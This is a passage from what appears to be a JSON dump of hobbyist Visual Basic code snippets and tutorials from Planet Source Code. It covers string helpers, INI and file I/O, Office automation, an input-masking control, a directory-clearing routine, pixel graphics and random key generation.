(i + 1)) * (1 ^ (2 * i - 1)) / (2 * i - 1)\nNext i\npi = sum * 4\nEnd Function\n'Function that calculates factorials\nPublic Function fact(n As Integer) As Double\nDim i As Long, r As Double: r = 1\nIf n = 0 Then fact = 1\nFor i = 1 To n\n r = i * r\nNext i\nfact = r\nEnd Function"},{"WorldId":1,"id":14026,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23753,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":31338,"LineNumber":1,"line":"'Example:\n'newStr = SMid(\"Hello 1Between2 world!\", 1, \"1\", \"2\")\n'will return: \"Between\"\n\nFunction SMid(orig_string As String, start As Long, str_start As String, str_end As String)\nOn Error GoTo handler\n'SMid (Smart MID)\n'By: Derek de Oliveira\n'Use this function in any program. No need to thank me :)\n'o_string = Origional String\n's_start = Start From string\n's_end = Ending string\nstep1 = InStr(start, orig_string, str_start, vbTextCompare)\nresult = Mid(orig_string, step1 + Len(str_start), InStr(step1 + Len(str_start), orig_string, str_end, vbTextCompare) - step1 - Len(str_start))\nSMid = result\nExit Function\nhandler:\nSMid = \"\"\nEnd Function"},{"WorldId":1,"id":25713,"LineNumber":1,"line":"Public Function TrimALL(ByVal TextIN As String) As String\n TrimALL = Trim(TextIN)\n While InStr(TrimALL, String(2, \" \")) > 0\n TrimALL = Replace(TrimALL, String(2, \" \"), \" \")\n Wend\nEnd Function\n"},{"WorldId":1,"id":25714,"LineNumber":1,"line":"Public Function IsInArray(FindValue As Variant, arrSearch As Variant) As Boolean\n On Error GoTo LocalError\n If Not IsArray(arrSearch) Then Exit Function\n If Not IsNumeric(FindValue) Then FindValue = UCase(FindValue)\n IsInArray = InStr(1, vbNullChar & Join(arrSearch, vbNullChar) & vbNullChar, vbNullChar & FindValue & vbNullChar) > 0\nExit Function\nLocalError:\n 'Justin (just in case)\nEnd Function\n"},{"WorldId":1,"id":24689,"LineNumber":1,"line":"<table border=2>\n<tr>\n<td><center>Functionality</center></td>\n<td><center>Relative Code</center></td>\n<td><center>Related Links</center></td>\n</tr>\n<tr>\n<td>Writing/Appending text to a text file</td>\n<td><pre>\nOpen \"C:\\MyTextFile.txt\" For Output As #1 Open \"C:\\MyTextFile.txt\" For Append As #1\n</pre>\n</td>\n<td><a href=\"http://www.planet-source-code.com/xq/ASP/txtCodeId.22246/lngWId.1/qx/vb/scripts/ShowCode.htm\">Input/Output Text file</a></td>\n</tr>\n<tr>\n<td>Reading text from a text file</td>\n<td><pre>\nOpen \"C:\\MyTextFile.txt\" For Input As #1\n</pre>\n</td>\n<td><a href=\"http://www.planet-source-code.com/xq/ASP/txtCodeId.22246/lngWId.1/qx/vb/scripts/ShowCode.htm\">Input/Output Text file</a></td>\n</tr>\n<tr>\n<td>Setting a string to the application directory</td>\n<td><pre>\nstrFileName = App.Path & (Trim(Chr(32 - (60 * (Asc(Right(App.Path, 1)) <> 92)))))\n</pre>\n</td>\n<td><a href=\"http://www.planet-source-code.com/vb/Discussion/AskAProShowPost.asp?lngTopicId=10826&Forum=Visualbasic&TopicCategory=programming&Flag=2&lngWId=1\">Relative paths</a></td>\n</tr>\n<tr>\n<td>Reading data from an INI file</td>\n<td><pre>\nPrivate Declare Function GetPrivateProfileString Lib \"kernel32\"_ Alias \"GetPrivateProfileStringA\" (ByVal lpApplicationName As String, ByVal lpKeyName As Any,_ ByVal lpDefault As String, ByVal lpReturnedString As String, ByVal nSize As Long,_ ByVal lpFileName As String) As Long\n \nPublic Function GetINIData(ByVal strParent As String, strKey As String) As String \n Dim strBuffer As String \n Dim strFilename As String \n strBuffer = Space(145) \n strFileName = App.Path & (Trim(Chr(32 - (60 * (Asc(Right(App.Path, 1)) <> 92))))) & \"MyINI.INI\" \n GetPrivateProfileString strParent, strKey, \"\", strBuffer, Len(strBuffer) - 1, strFilename \n GetINIData = Left(strBuffer, InStr(strBuffer, Chr(0)) - 1) \nEnd Function \n</pre>\n</td>\n<td><a href=\"http://www.planet-source-code.com/xq/ASP/txtCodeId.23487/lngWId.1/qx/vb/scripts/ShowCode.htm\">INI file template routines</a></td>\n</tr>\n<tr>\n<td>Writing data to an INI file</td>\n<td><pre>\nPrivate Declare Function WritePrivateProfileString Lib \"kernel32\"_ \nAlias \"WritePrivateProfileStringA\" (ByVal lpApplicationName As String,_ \nByVal lpKeyName As Any, ByVal lpString As Any, ByVal lpFileName As String) As Long\n \nPublic Sub WriteINIData(ByVal strParent As String, strKey As String, strValue As String) \n Dim strFilename As String \n strFileName = App.Path & (Trim(Chr(32 - (60 * (Asc(Right(App.Path, 1)) <> 92))))) & \"MyINI.INI\" \n WritePrivateProfileString strParent, strKey, strValue, strFilename \nEnd Sub \n</pre>\n</td>\n<td><a href=\"http://www.planet-source-code.com/xq/ASP/txtCodeId.23487/lngWId.1/qx/vb/scripts/ShowCode.htm\">INI file template routines</a></td>\n</tr>\n<tr>\n<td>Dynamically adding controls</td>\n<td><pre>\nRem This code is for Visual Basic 6 only but the second link shows how to do it with VB4/5 \nPrivate Sub Form_Load() \nForm1.Controls.Add \"VB.CommandButton\", \"cmdMyButton\" \nWith Form1!cmdMyButton \n.Visible = True \n.Width = 2000 \n.Caption = \"Dynamic Button\" \nEnd With \nEnd Sub \n</pre>\n</td>\n<td><a href=\"http://www.planet-source-code.com/vb/discussion/AskAProShowPost.asp?lngWId=1&Flag=2&TopicCategory=programming&lngTopicId=4870&Forum=Visualbasic\">Dynamically create a control(VB6)</a> \n<a href=\"http://www.planet-source-code.com/vb/discussion/AskAProShowPost.asp?lngWId=1&Flag=2&TopicCategory=programming&lngTopicId=5147&Forum=Visualbasic\">Creating controls dynamically (VB6,5 and 4)</a></td>\n</tr>\n<tr>\n<td>Adding items to a combo/list box and setting it to the first items if an item exist</td>\n<td><pre>\ncmbMyComboBox.AddItem \"Item1\" \ncmbMyComboBox.ListIndex = (cmbMyComboBox.ListCount=0)\n</pre>\n</td>\n<td>None</td>\n</tr>\n<tr>\n<td>Having problems with the license of your Winsock control?</td>\n<td><pre>\nJust go to the link\n</pre>\n</td>\n<td><a href=\"http://www.planet-source-code.com/xq/ASP/txtCodeId.4860/lngWId.1/qx/vb/scripts/ShowCode.htm\">Register/License Winsock Control</td>\n</tr>\n<tr>\n<td>Allows only numeric characters in a textbox</td>\n<td><pre>\nPrivate Sub txtNumbersOnly_KeyPress(KeyAscii As Integer) \n KeyAscii = KeyAscii * Abs(((KeyAscii > 47 And KeyAscii < 58) Or KeyAscii = vbKeyBack)) \nEnd Sub \n</pre>\n</td>\n<td><a href=\"http://www.planet-source-code.com/xq/ASP/txtCodeId.11545/lngWId.1/qx/vb/scripts/ShowCode.htm\">Masking Control</td>\n</tr>\n\n<tr>\n<td>Prints a picture control contents to the printer</td>\n<td><pre>\nPrinter.PaintPicture picMyPictureControl.Picture, 1, 1\n</pre>\n</td>\n<td><a href=\"http://www.planet-source-code.com/vb/discussion/AskAProShowPost.asp?lngWId=1&Flag=2&TopicCategory=standards&lngTopicId=10496&Forum=Visualbasic\">Printing picture control contents</td>\n</tr>\n<tr>\n<td>Copy picture/text to the Clipboard</td>\n<td><pre>\nClipboard.Clear\nClipboard.SetData picMyPictureControl.Picture 'Used for pictures \nClipboard.SetText txtMyTextBox.Text 'Used for text \n</pre>\n</td>\n<td><a href=\"http://www.planet-source-code.com/vb/discussion/AskAProShowPost.asp?lngWId=1&Flag=2&TopicCategory=standards&lngTopicId=9503&Forum=Visualbasic\">Copying contents to the Clipboard</td>\n</tr>\n<tr>\n<td>Paste picture/text from the Clipboard</td>\n<td><pre>\npicMyPictureControl.Picture = Clipboard.GetData 'Used for pictures \ntxtMyTextBox.Text = Clipboard.GetText 'Used for text \n</pre>\n</td>\n<td><a href=\"http://www.planet-source-code.com/vb/discussion/AskAProShowPost.asp?lngWId=1&Flag=2&TopicCategory=standards&lngTopicId=9503&Forum=Visualbasic\">Pasting contents from the Clipboard</td>\n</tr>\n\n<tr>\n<td>Evaluate resposes from MsgBox</td>\n<td><pre>\nRem Use this to check before you save; used with yes/no or ok/cancel options \nIf MsgBox(\"Are you sure you want to save thses changes?\", vbQuestion + vbYesNo, \"Save?\") = vbNo Then Exit Sub \n \n \nRem You can use this to check before you exit; used with yes/no/cancel or abort/retry/ignore \nSelect Case MsgBox(\"Would you like to save before you exit?\", vbQuestion + vbYesNoCancel, \"Exiting\") \nCase vbYes \nRem Save it then quit \nCase vbNo \nRem Quit \nCase vbCancel \nExit Sub \nEnd Select \n</pre>\n</td>\n<td>None</td>\n</tr>\n\n<tr>\n<td>Read data from an Excel spreadsheet</td>\n<td><pre>\nDim xlsApplication As Object \nDim lngRowCount As Long \nDim intColCount As Integer \nDim blnBlankRow As Boolean \nDim strValue As String \n \nSet xlsApplication = CreateObject(\"Excel.Application\") \n \nxlsApplication.Workbooks.Open \"C:\\Test.XLS\" \n \nFor lngRowCount = 1 To 65536 \n\tblnBlankRow = True \n\tFor intColCount = 1 To 255 \n\t\tstrValue = xlsApplication.Cells(lngRowCount, intColCount).Value \n\t\tRem Set this value into your table/field \n\t\tIf Len(strValue) > 0 Then blnBlankRow = False \n\tNext intColCount \n\tIf blnBlankRow Then Exit For \nNext lngRowCount \n \nxlsApplication.Workbooks(1).Close savechanges:=False \nxlsApplication.Quit \n</pre>\n</td>\n<td>None</td>\n</tr>\n<tr>\n<td>Read data from Outlook Inbox/SentMail folders</td>\n<td><pre>\nDim outApplication As Object \nDim outInBox As Object \nDim outOutBox As Object \n \nSet outApplication = CreateObject(\"Outlook.Application\") \n \nSet outInBox = outApplication.GetNamespace(\"MAPI\").GetDefaultFolder(6) \nSet outOutBox = outApplication.GetNamespace(\"MAPI\").GetDefaultFolder(5) \n \nRem First InBox email \nMsgBox outInBox.Items.Item(1).Recipients(1).Name, vbOKOnly, \"Inbox Recipient\" \nMsgBox outInBox.Items.Item(1).Subject, vbOKOnly, \"Inbox Subject\" \nMsgBox outInBox.Items.Item(1).Body, vbOKOnly, \"Inbox Body\" \n \nRem First SentMail email \nMsgBox outOutBox.Items.Item(1).Recipients(1).Name, vbOKOnly, \"SentMail Recipient\" \nMsgBox outOutBox.Items.Item(1).Subject, vbOKOnly, \"SentMail Subject\" \nMsgBox outOutBox.Items.Item(1).Body, vbOKOnly, \"SentMail Body\" \n</pre>\n</td>\n<td>None</td>\n</tr>\n<tr>\n<td>Sending email using the MS Outlook object</td>\n<td><pre>\nPrivate Sub MrPostman(strSendTo As String, strSubject As String, strMessage As String) \n Dim outEmail As Outlook.Application \n Dim outNewMail As Outlook.MailItem \n Dim strTemp() As String \n \n Set outEmail = New Outlook.Application \n Set outNewMail = outEmail.CreateItem(olMailItem) \n \n With outNewMail \n \n strTemp = Split(strSendTo, \";\") \n \n For intCounter = 0 To UBound(strTemp) \n .Recipients.Add Trim(strTemp(intCounter)) \n Next intCounter \n \n .Subject = strSubject \n .Body = strMessage \n .Send \n End With \n \n Set outEmail = Nothing \n Set outNewMail = Nothing \n \nEnd Sub \n</pre>\n</td>\n<td>None</td>\n</tr>\n\n<tr>\n<td>Calling procedures dynamically</td>\n<td><pre>\nRem Use this code when you don't know the name of the procedure or when you want the user to select the procedure to execute \nPrivate Sub Form_Load() \nCallByName Form1, \"Test\", VbMethod \nEnd Sub \nPublic Function Test() \n MsgBox \"It Works\" \nEnd Function \n</pre>\n</td>\n<td>None</td>\n</tr>\n<tr>\n<td>Copy/Move files from one location to another</td>\n<td><pre>\nFileCopy \"C:\\SourceFile.txt\", \"C:\\DestinationFile.txt\" \nRem To move the file (delete the original) \nKill \"C:\\SourceFile.txt\" \n</pre>\n</td>\n<td>None</td>\n</tr>\n<tr>\n<td>Retained is an invalid key error</td>\n<td><pre>\nYou will get this error when you attempt to open a project designed in VB6+ with VB5-.\nThe solution is to open the project file (*.vbp) with a text editor like notepad\nand delete the line that begins with RETAINED=. This will solve the error.\n</pre>\n</td>\n<td>None</td>\n</tr>\n<tr>\n<td>What does referencing a control mean? What is the difference between early and late binding?</td>\n<td><pre>\nWhen you create a reference to a control, you are indicating that there is a file that exists\nthat you would like to use. Early-binding indicates this reference at design-time of the application\nrather than an runtime (late binding). Early binding is much faster than late binding. Late binding\nis used when an application must determine at runtime. Although this process is slower than\nlate binding, it may be faster after consideration. For example, let's say that you are importing\ndata from one source to another. You are uncertain at design time wheter the user will want to\nimport from Excel to Access, Outlook to Excel, Outlook to Access, Excel to Outlook, Access to Outlook,\nor Access to Excel. Instead of referencing all three objects at design time(early binding),it may\nbe more practical to refernce them once the user has mad a decision (late binding).\n</pre>\n</td>\n<td>None</td>\n</tr>\n</table>\n"},{"WorldId":1,"id":22246,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22195,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22639,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11159,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12091,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11573,"LineNumber":1,"line":"\nIncluded with this tutorial is an excellent project of a control that handles masking for several different masking data. These masks \ninclude:\nDate masking with long, medium and short date types. This is probably the best feature of the control. The control actually attempts to \npredict the month and day that is being submitted. If the developer has selected long date as the mask type, for example, and the user enters the \nletter \"F\", then the control will automatically return \"February \". The same is true if the user enters a number \"2\", since \"February is \nunderstandably the second month of the year.\nPhone masking. Allows the developer to define whether parenthesis, dashes and/or spaces are allowed.\nSocial Security Number masking. Allows the developer to define whether dashes are allowed or not.\nZip code masking. Allows the developer to define either 5 or 9 numbered zip codes.\nEmail masking. Only accepts well-formed email address.\nCustom masking. Allows the developer to decide if aplha characters are allowed, numeric characters, and user-defined characters. Also, allows \na maximum length of the control to be defined.\nThe source code for this control is provided as well (although it was written in VB6 with SP4), as well as a sample application that uses each \ntype of masking format. Please feel free to alter andor distribute the code as desired.\nPlease direct any questions, comments, suggestions, and/or bugs to <a href=\"mailto:sean28681@yahoo.com\">Sean L. Street</a>\n \nClasses\nA class object can be thought of as a template of sorts. The way I’ve adapted to teaching my students is as follows. Imagine that you are \nstanding in front of a vending machine that accepts only quarters, dimes and nickels; a change machine that accepts only one dollar, five dollar, \nand ten-dollar bills; and a bubble gum machine that accepts only pennies. First, you must decide what you desire, then you determine what type of \ncurrency you have in your pocket (the pocket class). Lets assume that you have a five-dollar bill, and four pennies. You’ve determined that you \nwant a candy bar from the vending machine that costs 50 cents and a piece of bubble gum that costs a penny. You inset the penny into the \nbubblegum \"class\" and low and behold! out comes a piece of bubble gum. Next, you’re stuck in a dilemma. You only have a five and the vending \nmachine accepts only silver change. Being the genius that you are, you realize that you need to first inset your five into the change machine and \nthen take the result of that process and insert a portion of it into the vending machine. I use this scenario to also describe the purpose of \nchild (also called sub) classes I do not use any child classes here, so I’m not going to go into detail about them here. The relationship between \nclasses and our example is this:\nClasses are like templates that only accept certain types of data. They can return results determined by the inputted data, or they can just \nbe storage of data in either case, they are not used until they are needed. In some cases, when compiled in a DLL for example, classes can be \nused by other people. This is a great way to reduce in code writing. Lets look at our scenario again.\nIn this example we basically have four classes:\nPocket Class (this class stores your currency of any type)\nChange Class (this class converts dollar bills into silver change)\nVending Class (this class converts silver change into food)\nBubbleGum Class (this class converts pennies into gum)\nLet’s say that you are happily eating your candy bar, when your spouse witnesses your delights. Your spouse demands the contents of your \nPocket Class so that they may indulge in the pleasures of the Vending Class as well. In this case, you have just shared the Pocket Class with \nanother "application." \nOur masking control uses classes in somewhat the same method. First, we are passed values from the interface. Next, we determine which class \nwe need to use. Then, we filter that data accordingly. Finally, we return the results of our processes back to the interface.\nUser Controls\nAn Active-X User Control is very similar to a Visual Basic form. In our case, we have a textbox on our user control. We then handle all \nevents from that textbox within the user control itself. The only thing the user sees is the result of our filtering and manipulation of the \npassed data. We allow the user to set properties to allow some flexibility of the outcome of the data, but we ultimately control the processing \nof data within our control. This allows our users to simply place the control on their forms and demand the respective output and not have to \nnegotiate the inputted data.\nProperty Pages\nThe property page is the interface that allows our users to define the type of masking that is to take place. When a user ‘right clicks’ our \ncontrol at design time, the control will display our property pages. To have a property page appear when a user "right clicks" our \ncontrol, we have to include it in the PropertyPages property of the control itself. When we click the ellipse of the PropertyPages property of \nthe control, we get a list of our user-defined properties as well as a few predefined ones. If we wanted to include the predefined \n"Font" property page, we would simply place a check next to it on the Connect Property Pages screen. Once we have defined all of the \nproperty pages we want to display, they will appear when the user right clicks the control at design time. Inside of our property pages, we have \nfunctions to manage when properties are changed. If a property is changed, then the changed flag is raised and in turn, the Apply button of the \nproperty page is enabled. When the Apply button is clicked or the property page looses focus, then the PropertyPage_ApplyChanges event of the \nproperty page is fired. When this event is fired, we save the changes to our instantiated class object (See Classes above). Code within the \nclass object will then save the changes out to an INI file. In our property pages we handle the functions of loading the data for the property \npage. This is accomplished in the PropertyPage_Paint event of the page. Here, we determine if the selected page is the type of mask selected. \nIf it is, we allow all the controls on the page to be visible. Otherwise we make the controls invisible. (View the comments within the pagDate \nproperty page of the project).\n"},{"WorldId":1,"id":11589,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12008,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":31810,"LineNumber":1,"line":"Public Function DateDiffEx(StartTime As Date, EndTime As Date) As String\n DateDiffEx = DateDiffExFormat(DateDiff(\"d\", StartTime, EndTime) \\ 365, \"year\")\n DateDiffEx = DateDiffEx & DateDiffExFormat((DateDiff(\"s\", StartTime, EndTime) \\ 86400) _\n Mod 365, \"day\")\n DateDiffEx = DateDiffEx & DateDiffExFormat((DateDiff(\"s\", StartTime, EndTime) \\ 3600) _\n Mod 24, \"hour\")\n DateDiffEx = DateDiffEx & DateDiffExFormat((DateDiff(\"s\", StartTime, EndTime) \\ 60) _\n Mod 60, \"minute\")\n DateDiffEx = DateDiffEx & DateDiffExFormat(DateDiff(\"s\", StartTime, EndTime) _\n Mod 60, \"second\")\n \n If Len(DateDiffEx) > 0 Then\n DateDiffEx = Mid(DateDiffEx, 1, Len(DateDiffEx) - 2)\n End If\nEnd Function\nPrivate Function DateDiffExFormat(inputValue As Long, unitValue As String) As String\n If inputValue <> 0 Then\n DateDiffExFormat = inputValue & \" \" & unitValue & IIf(inputValue <> 1, \"s\", \"\") & \", \"\n End If\nEnd Function\n"},{"WorldId":1,"id":25128,"LineNumber":1,"line":"Private Sub ClearDirectory(psDirName)\n'This function attempts to delete all files\n'and subdirectories of the given \n'directory name, and leaves the given \n'directory intact, but completely empty.\n'\n'If the Kill command generates an error (i.e.\n'file is in use by another process - \n'permission denied error), then that file and\n'subdirectory will be skipped, and the \n'program will continue (On Error Resume Next).\n'\n'EXAMPLE CALL:\n' ClearDirectory \"C:\\Temp\\\"\nDim sSubDir\nIf Len(psDirName) > 0 Then\n If Right(psDirName, 1) <> \"\\\" Then\n psDirName = psDirName & \"\\\"\n End If\n 'Attempt to remove any files in directory\n 'with one command (if error, we'll \n 'attempt to delete the files one at a\n 'time later in the loop):\n On Error Resume Next\n Kill psDirName & \"*.*\"\n DoEvents\n \n sSubDir = Dir(psDirName, vbDirectory)\n Do While Len(sSubDir) > 0\n 'Ignore the current directory and the\n 'encompassing directory:\n If sSubDir <> \".\" And _\n sSubDir <> \"..\" Then\n 'Use bitwise comparison to make \n 'sure MyName is a directory:\n If (GetAttr(psDirName & sSubDir) And _\n vbDirectory) = vbDirectory Then\n \n 'Use recursion to clear files\n 'from subdir:\n ClearDirectory psDirName & _\n sSubDir & \"\\\"\n 'Remove directory once files\n 'have been cleared (deleted)\n 'from it:\n RmDir psDirName & sSubDir\n DoEvents\n \n 'ReInitialize Dir Command\n 'after using recursion:\n sSubDir = Dir(psDirName, vbDirectory)\n Else\n 'This file is remaining because\n 'most likely, the Kill statement\n 'before this loop errored out\n 'when attempting to delete all\n 'the files at once in this\n 'directory. This attempt to\n 'delete a single file by itself\n 'may work because another \n '(locked) file within this same\n 'directory may have prevented\n '(non-locked) files from being\n 'deleted:\n Kill psDirName & sSubDir\n sSubDir = Dir\n End If\n Else\n sSubDir = Dir\n End If\n Loop\nEnd If\nEnd Sub\n"},{"WorldId":1,"id":10741,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":28770,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12006,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12392,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23163,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14187,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":31549,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11353,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":25819,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":25820,"LineNumber":1,"line":"<HTML>\n<HEAD>\n<META HTTP-EQUIV=\"Content-Type\" CONTENT=\"text/html; charset=windows-1252\">\n<META NAME=\"Generator\" CONTENT=\"Microsoft Word 97\">\n<TITLE>Tanner's VB World - Graphics Programming in Visual Basic Tutorial: Setting and Getting Pixels</TITLE>\n<META NAME=\"keywords\" CONTENT=\"Visual Basic, Graphic Programming, Graphics Programming, SetPixel, SetPixelV, GetPixel, API Graphics calls, Tanner, Helland, PSet, Point, Extract RGB, Red, Green, Blue, Tutorial, Information, GetDC, Tanner's VB World\">\n<META NAME=\"Version\" CONTENT=\"8.0.4308\">\n<META NAME=\"Date\" CONTENT=\"8/15/00\">\n<META NAME=\"Template\" CONTENT=\"C:\\Program Files\\Microsoft Office\\Office\\Html.dot\">\n</HEAD>\n<BODY TEXT=\"#000000\" LINK=\"#0000ff\" VLINK=\"#800080\" BACKGROUND=\"tannerhelland.50megs.com/backgrounds/stone.gif\">\nGraphics Programming in Visual Basic - Setting and Getting Pixels \nBy: Tanner Helland<DIR>\n<DIR>\nDespite what many programmers will tell you, Visual Basic is an excellent programming language for high-end graphic applications. Its easy-to-use interface and programming language allows you to quickly and accurately create all sorts of neat programs without having to worry about the mess of C++ syntax. Also, you can use a number of easy API calls to speed up your interface to professional speed. So, here's part of how to become a professional graphics programmer using only VB.\n-THE EASY WAY TO DO PIXEL STUFF-\nThis tutorial will go through the basic way to get and set pixels in Visual Basic. You will use both VB and the Windows API and see the differences between both methods. While this way of getting and setting pixels is slower then the forthcoming part 2 of this tutorial (using GetBitmapBits) it is significantly easier for a beginner, and will still offer impressive results.\nPART I - GETTING COLORS\nBefore you can do anything to a picture, you have to first get the color of each pixel. There are two intelligent ways to do this, and both are extremely easy.\nWay 1 - Using VB\nYou can use the Point event in VB to get the color of a specified pixel. The format is as follows:\nColor = PictureBox.Point(x,y) | where PictureBox is the name of the picture box or form you want to retrieve the pixel from, and (x,y) are the pixels coordinates. However, this method is quite slow, and for large pictures it will really start to rack up the time. So basically, don't use it. The best way to get pixels is to use the GetPixel API call:\nWay 2 - Using the Windows API\nPrivate Declare Function GetPixel lib \"gdi32\" (ByVal hDC as Long, ByVal x as Long, ByVal y as Long) as Long\nColor = GetPixel(PictureBox.hDC, x, y) | where PictureBox is the name of the picture box or form you want to retrieve the pixel from, and (x,y) are the pixels coordinates. This method is many times faster then using VB, and it is basically the same call, except for the API declaration. I will write more on the API call structure in a future tutorial, but for now just trust me. J \nPART II - DRAWING COLORS\nJust as with getting pixels from a picture box or form, there are several ways to set pixels onto an object as well. Again, the internal VB method is very slow compared to the 2 API calls you can use. For you die-hard VB users, the very slow PSet command is the way to go:\nPictureBox.PSet (x,y), Color\nWhereas the API Calls are as follows:\nPrivate Declare Function SetPixel lib \"gdi32\" (ByVal hDC as Long, ByVal x as Long, ByVal y as Long, ByVal Color as Long) as Long\nSetPixel PictureBox.hDC, x, y, Color\nOr:\nPrivate Declare Function SetPixelV lib \"gdi32\" (ByVal hDC as Long, ByVal x as Long, ByVal y as Long, ByVal Color as Long) as Byte\nSetPixelV PictureBox.hDC, x, y, Color\nThe only difference between the two functions, if you notice, is that SetPixel returns a Long (the color that the function was able to set) while SetPixelV returns a byte (whether or not the pixel was set). I would always recommend using SetPixelV, simply because it is slightly faster then SetPixel, but the difference is not very noticeable. So, you should now be able to quickly get and set pixels from any picture box or form, right? But, as always, I have some fun things you can add to the useless programming knowledge section of your brain (heh heh).\nPART III - DRAWING AND GETTING COLORS FROM \"SPECIAL\" THINGS\nUp until this point we've been relegated to using only picture boxes and forms because they're the only things that have an accessible hDC property, right? Well, there are certain ways to get around that so that we can set pixels on, say, a command button or a check box. To do this, we use the magical 'GetDC' API call:\nPrivate Declare Function GetDC Lib \"user32\" (ByVal hWnd As Long) As Long\nDim TemporaryHandle as Long\nTemporaryHandle = GetDC(CommandButton.hWnd) OR GetDC(CheckBox.hWnd) OR GetDC(TextBox.hWnd) etc., etc...\nNow you can have all sorts of fun! Say, for some odd reason, that you want to set pixels on a command button. After using the GetDC call to assign a handle to the command button, you can do the SetPixel or SetPixelV call using the variable that contains the newly created hDC and - presto - you can draw on almost anything! Play with that API call for kicks if you ever get bored - it's kind fun...\n┬á</DIR>\n</DIR>\n<A HREF=\"http://tannerhelland.50megs.com/VBStuff.htm\">Back to Tanner's VB World Home</A>\n<A HREF=\"http://tannerhelland.50megs.com\">Visit the homepage of Tanner Helland</A></BODY>\n</HTML>\n"},{"WorldId":1,"id":25821,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":25497,"LineNumber":1,"line":"ADDED: AutoHide features. \nControl can be downloaded/viewed from: \nhttp://www.planetsourcecode.com/xq/ASP/txtCodeId.24861/lngWId.1/qx/vb/scripts/ShowCode.htm"},{"WorldId":1,"id":24861,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11306,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":21395,"LineNumber":1,"line":"' Credit goes to these people for code I \n' borrowed/modified:\n' Kevin Lawrence - non-repeating random \n' number generator\n' VBPJ - GenerateRandomNumberInRange \n' (modified by me, from a shuffle routine in VBPJ)\nPublic Function GenerateKey(ByVal iLower As Integer, ByVal iUpper As Integer) As String\n Dim sKey As String\n Dim sChar As String\n Dim iLen As Integer\n Dim iLoop As Integer\n \n ' dont need keys TOO big ...\n iLen = GetRandomNumberInRange(iLower, iUpper)\n \n For iLoop = 1 To iLen\n ' dont include quotes\nRetry:\n Do\n sChar = Chr(GetRandomNumber())\n Loop While sChar = Chr(34)\n ' make sure its 0-9, A-Z, or a-z\n If Not IsValidChar(sChar) Then\n GoTo Retry:\n Else\n sKey = sKey & sChar\n End If\n Next iLoop\n \n GenerateKey = sKey\nEnd Function\nPrivate Function IsValidChar(ByVal sChar As String) As Boolean\n Dim btoggle As Boolean\n \n If Asc(sChar) >= 48 And Asc(sChar) <= 57 Then\n 'valid #\n btoggle = True\n ElseIf Asc(sChar) >= 65 And Asc(sChar) <= 90 Then\n 'valid uppercase character\n btoggle = True\n ElseIf Asc(sChar) >= 97 And Asc(sChar) <= 122 Then\n btoggle = True\n Else\n btoggle = False\n End If\n \n IsValidChar = btoggle\n \nEnd Function\nPublic Function GetRandomNumberInRange(Lower As Integer, Upper As Integer) As Integer\n Static PrimeFactor(10) As Integer\n Static a As Integer\n Static c As Integer\n Static b As Integer\n Static s As Long\n Static n As Integer\n Static n1 As Integer\n \n Dim i As Integer\n Dim j As Integer\n Dim K As Integer\n Dim m As Integer\n Dim t As Boolean\n \n If (n <> Upper - Lower + 1) Then\n n = Upper - Lower + 1\n i = 0\n n1 = n\n K = 2\n \n Do While K <= n1\n If (n1 Mod K = 0) Then\n If (i = 0 Or PrimeFactor(i) <> K) Then\n i = i + 1\n PrimeFactor(i) = K\n End If\n n1 = n1 / K\n Else\n K = K + 1\n End If\n Loop\n b = 1\n \n For j = 1 To i\n b = b * PrimeFactor(j)\n Next j\n If n Mod 4 = 0 Then b = b * 2\n a = b + 1\n c = Int(n * 0.66)\n t = True\n \n Do While t\n t = False\n For j = 1 To i\n If ((c Mod PrimeFactor(j) = 0) Or (c Mod a = 0)) Then t = True\n Next j\n If t Then c = c - 1\n Loop\n Randomize\n s = Rnd(n)\n End If\n s = (a * s + c) Mod n\n GetRandomNumberInRange = s + Lower\nEnd Function\nPublic Function GetRandomNumber() As Integer\n Dim a(122) ' Sets the maximum number To pick\n Dim b(122) ' Will be the list of new numbers (same as DIM above)\n Dim ChosenNumber As Integer\n Dim MaxNumber As Integer\n Dim seq As Integer\n \n 'Set the original array\n MaxNumber = 122 ' Must equal the Dim above\n For seq = 0 To MaxNumber\n a(seq) = seq\n Next seq\n \n 'Main Loop (mix em all up)\n Randomize (Timer)\n \n For seq = MaxNumber To 0 Step -1\n ChosenNumber = Int(seq * Rnd)\n b(MaxNumber - seq) = a(ChosenNumber)\n a(ChosenNumber) = a(seq)\n Next seq\n ' return a random number from a random position in B()\n GetRandomNumber = b(GetRandomNumberInRange(1, 122))\nEnd 